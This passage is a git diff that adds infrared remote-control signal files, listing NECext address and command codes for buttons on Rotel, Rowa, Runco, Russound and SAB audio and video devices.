KEY_DOWN +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 0E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 14 00 00 00 +# +name: tv/av +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 16 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 18 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 19 00 00 00 +# +name: Cal +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 1B 00 00 00 +# +name: Contrast_sheme +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir new file mode 100644 index 000000000..688d8a582 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: FF +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir b/assets/resources/infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir new file mode 100644 index 000000000..f6b3a082e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 00 00 00 00 +# +name: AUTO_TUNING +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 02 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 0F 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 11 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 12 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 14 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 15 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 18 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 19 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 1A 00 00 00 +# +name: TUNE- +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 1A 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 1B 00 00 00 +# +name: TUNE+ +type: parsed +protocol: NECext +address: 52 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir b/assets/resources/infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir new file mode 100644 index 000000000..97cc68895 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: Random +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 00 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 01 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 02 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 03 00 00 00 +# +name: Scan +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 04 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 06 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 0A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 0F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 15 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 1D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 12 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir new file mode 100644 index 000000000..300040735 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: Root +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: Arrow_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: Arrow_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: Arrow_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: Arrow_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: VOL(+) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: VOL(-) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir new file mode 100644 index 000000000..7a4edd6c1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: NORMALIZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: FUNCTION_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: FUNCTION_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: FUNCTION_SET +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: DVNR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: INCREMENTAL_FREEZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir new file mode 100644 index 000000000..aa6dc5701 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: COMPOSITE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PASS-THRU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: ANAMORPHIC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 4_X_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: LETTERBOX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir new file mode 100644 index 000000000..aff2c7234 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: COMPOSITE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: COMPOSITE_INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: SVHS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: S-VIDEO_INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: COMPONENT_INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: HDTV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: PASS-THRU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: PASS_THROUGH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: ANAMORRPHIC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: ANAMORPHIC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 4_X_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: LETTERBOX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: RATIO_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: RATIO_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: INPUT_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: INPUT_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir new file mode 100644 index 000000000..411852e91 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: R +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 00 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 02 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 06 00 00 00 +# +name: OPERATE_MENU +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 06 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 07 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 07 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 09 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 14 00 00 00 +# +name: STATIC +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 15 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 17 00 00 00 +# +name: IDTV_1 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 18 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 18 00 00 00 +# +name: IDTV_2 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 19 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 19 00 00 00 +# +name: IDTV_3 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1A 00 00 00 +# +name: IDTV_4 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1B 00 00 00 +# +name: IDTV_5 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1C 00 00 00 +# +name: RGB_6 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1D 00 00 00 +# +name: RGB_7 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1E 00 00 00 +# +name: RGB_8 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1F 00 00 00 +# +name: RGB_9 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 40 00 00 00 +# +name: HDTV +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 41 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 43 00 00 00 +# +name: SOUND_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 45 00 00 00 +# +name: PICTURE_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 47 00 00 00 +# +name: INPUT_LIST +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5C 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5C 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5D 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5E 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir new file mode 100644 index 000000000..144bef5d4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 06 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 06 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0E 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 19 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1D 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir new file mode 100644 index 000000000..ccba604f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 80 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 81 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 82 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 83 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 84 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 86 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 89 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 8A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 8B 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 8C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 8D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 8E 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 8F 00 00 00 +# +name: THEME +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: A5 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: B0 00 00 00 +# +name: STREAM_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: B1 00 00 00 +# +name: STREAM_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: B2 00 00 00 +# +name: STREAM_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: B3 00 00 00 +# +name: F1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: B4 00 00 00 +# +name: F2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: B5 00 00 00 +# +name: F3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: B6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir new file mode 100644 index 000000000..1a23417c1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: pdown +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: pup +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: aup +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: nul +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: vdown +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: vup +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: aleft +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 